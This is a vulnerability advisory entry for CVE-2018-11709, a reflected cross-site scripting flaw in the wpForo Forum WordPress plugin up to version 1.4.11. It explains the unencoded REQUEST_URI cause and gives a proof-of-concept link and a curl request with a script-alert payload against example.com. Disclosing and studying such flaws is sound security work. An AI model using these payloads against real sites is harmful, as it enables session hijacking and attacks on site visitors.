wpForo Forum <= 1.4.11 - Unauthenticated Reflected Cross-Site Scripting (XSS)



Description
Version 1.4.11, and below, of the wpForo Forum WordPress Plugin were found to be vulnerable to Reflected Cross-Site Scripting (XSS). The vulnerability was due to the Plugin using the $_SERVER['REQUEST_URI'] PHP variable to create a URL string that was later output within HTML without any output encoding.
Proof of Concept
Click on the following link while using the Internet Explorer (IE) web browser, with the XSS filter disabled:

http://www.example.com/index.php/community/?%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3E

Alternatively, run the following cURL request and notice that the XSS payload is output within HTML, without any validation, or output encoding:

curl -s 'http://www.example.com/index.php/community/?"><script>alert(/XSS/)</script>' | grep "XSS"

Affects Plugin

fixed in version 1.4.12

References

CVE 2018-11709
URL https://blog.dewhurstsecurity.com/2018/06/01/wp-foro-wordpress-plugin-xss-vulnerability.html

Classification

Type XSS
OWASP Top 10 A7: Cross-Site Scripting (XSS)
CWE CWE-79

Miscellaneous

Submitter Ryan
Submitter Website https://dewhurstsecurity.com/
Submitter Twitter ethicalhack3r
Views 5200
Verified No
WPVDB ID 9090

Timeline

Publicly Published 2018-06-01 (over 1 year ago)
Added 2018-06-01 (over 1 year ago)
Last Updated 2018-06-04 (over 1 year ago)

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